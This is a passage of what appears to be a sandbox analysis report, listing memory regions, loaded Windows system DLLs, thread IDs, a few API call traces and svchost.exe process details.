"c:\\windows\\system32\\vsstrace.dll") Region: id = 734 start_va = 0x7fef9d10000 end_va = 0x7fef9ebffff monitored = 0 entry_point = 0x7fef9d11010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 735 start_va = 0x7fefacf0000 end_va = 0x7fefad56fff monitored = 0 entry_point = 0x7fefad06060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 736 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 737 start_va = 0x7fefb3d0000 end_va = 0x7fefb3e3fff monitored = 0 entry_point = 0x7fefb3d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 738 start_va = 0x7fefb3f0000 end_va = 0x7fefb404fff monitored = 0 entry_point = 0x7fefb3f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 739 start_va = 0x7fefb410000 end_va = 0x7fefb41bfff monitored = 0 entry_point = 0x7fefb4118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 740 start_va = 0x7fefb420000 end_va = 0x7fefb435fff monitored = 0 entry_point = 0x7fefb4211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 741 start_va = 0x7fefbb80000 end_va = 0x7fefbcabfff monitored = 0 entry_point = 0x7fefbb894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 742 start_va = 0x7fefbcb0000 end_va = 0x7fefbcccfff monitored = 0 entry_point = 0x7fefbcb1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 743 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 744 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 745 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 746 start_va = 0x7fefccb0000 end_va = 0x7fefccdefff monitored = 0 entry_point = 0x7fefccb1064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 747 start_va = 0x7fefcd60000 end_va = 0x7fefcd73fff monitored = 0 entry_point = 0x7fefcd64160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 748 start_va = 0x7fefcfc0000 end_va = 0x7fefcfe2fff monitored = 0 entry_point = 0x7fefcfc1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 749 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 750 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 751 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 752 start_va = 0x7fefd540000 end_va = 0x7fefd575fff monitored = 0 entry_point = 0x7fefd541474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 753 start_va = 0x7fefd580000 end_va = 0x7fefd599fff monitored = 0 entry_point = 0x7fefd581558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 754 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 755 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 756 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 757 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 758 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 759 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 760 start_va = 0x7fefec80000 end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 761 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 762 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 763 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 764 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 765 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 766 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 767 start_va = 0x7feff3b0000 end_va = 0x7feff586fff monitored = 0 entry_point = 0x7feff3b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 768 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 769 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 770 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 771 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 772 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 773 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 774 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 775 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 776 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 777 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 781 start_va = 0x7fef2e40000 end_va = 0x7fef2ec4fff monitored = 0 entry_point = 0x7fef2e42600 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 783 start_va = 0x7fef4420000 end_va = 0x7fef442bfff monitored = 1 entry_point = 0x7fef4421070 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 788 start_va = 0x840000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 789 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Thread: id = 27 os_tid = 0xf90 Thread: id = 28 os_tid = 0xf8c Thread: id = 29 os_tid = 0xf88 Thread: id = 30 os_tid = 0xf84 [0045.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb7dde0 | out: lpSystemTimeAsFileTime=0xb7dde0*(dwLowDateTime=0xbf601740, dwHighDateTime=0x1d93032)) [0045.156] GetCurrentProcessId () returned 0xf74 [0045.156] GetCurrentThreadId () returned 0xf84 [0045.156] GetTickCount () returned 0x102b7a0 [0045.156] QueryPerformanceCounter (in: lpPerformanceCount=0xb7dde8 | out: lpPerformanceCount=0xb7dde8*=1715054334228) returned 1 [0045.157] malloc (_Size=0x100) returned 0x5e8f10 Thread: id = 31 os_tid = 0xf80 Thread: id = 32 os_tid = 0xf7c Thread: id = 33 os_tid = 0xf78 Thread: id = 34 os_tid = 0xfb4 Thread: id = 107 os_tid = 0xca4 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4293b000" os_pid = "0xf98" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006a453" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 790 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 791 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 792 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 793 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 794 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 795 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 796 start_va = 0x70000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 797 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 798 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 799 start_va = 0x230000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 800 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 801 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 802 start_va = 0x420000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 803 start_va = 0x4a0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 804 start_va = 0x5c0000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 805 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 806 start_va = 0x770000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 807 start_va = 0x7f0000 end_va = 0xabefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 808 start_va = 0xac0000 end_va = 0xc47fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 809 start_va = 0xc50000 end_va = 0xdd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 810 start_va = 0xe80000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 811 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 812 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 813 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 814 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 815 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 816 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 817 start_va = 0xff110000 end_va = 0xff11afff monitored = 0 entry_point = 0xff11246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 818 start_va = 0x7fef2db0000 end_va = 0x7fef2e31fff monitored = 0 entry_point = 0x7fef2e0ee88 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 819 start_va = 0x7fef63d0000 end_va = 0x7fef63e3fff monitored = 0 entry_point = 0x7fef63dc210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 820 start_va = 0x7fef6f60000 end_va = 0x7fef6f68fff monitored = 0 entry_point = 0x7fef6f6325c region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 821 start_va = 0x7fef98b0000 end_va = 0x7fef98b9fff monitored = 0 entry_point = 0x7fef98b42bc region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 822 start_va = 0x7fef9cf0000 end_va = 0x7fef9d06fff monitored = 0 entry_point = 0x7fef9cf1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 823 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 824 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 825 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 826 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 827 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 828 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 829 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 830 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 831 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 832 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 833 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 834 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 835 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 836 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 837 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 838 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 839 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 840 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 841 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 842 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 843 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 844 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 845 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 846 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 847 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 848 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 849 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 850 start_va = 0x100000 end_va = 0x107fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 851 start_va = 0x7fef9d10000 end_va = 0x7fef9ebffff monitored = 0 entry_point = 0x7fef9d11010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Thread: id = 35 os_tid = 0xfb0 Thread: id = 36 os_tid = 0xfac Thread: id = 37 os_tid = 0xfa8 Thread: id = 38 os_tid = 0xfa4 Thread: id = 39 os_tid = 0xfa0 Thread: id = 40 os_tid = 0xf9c Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7818000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d9b2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2188 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2189 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2190 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2191 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2192 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2193 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2194 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2195 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2196 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2197 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2198 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2199 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = 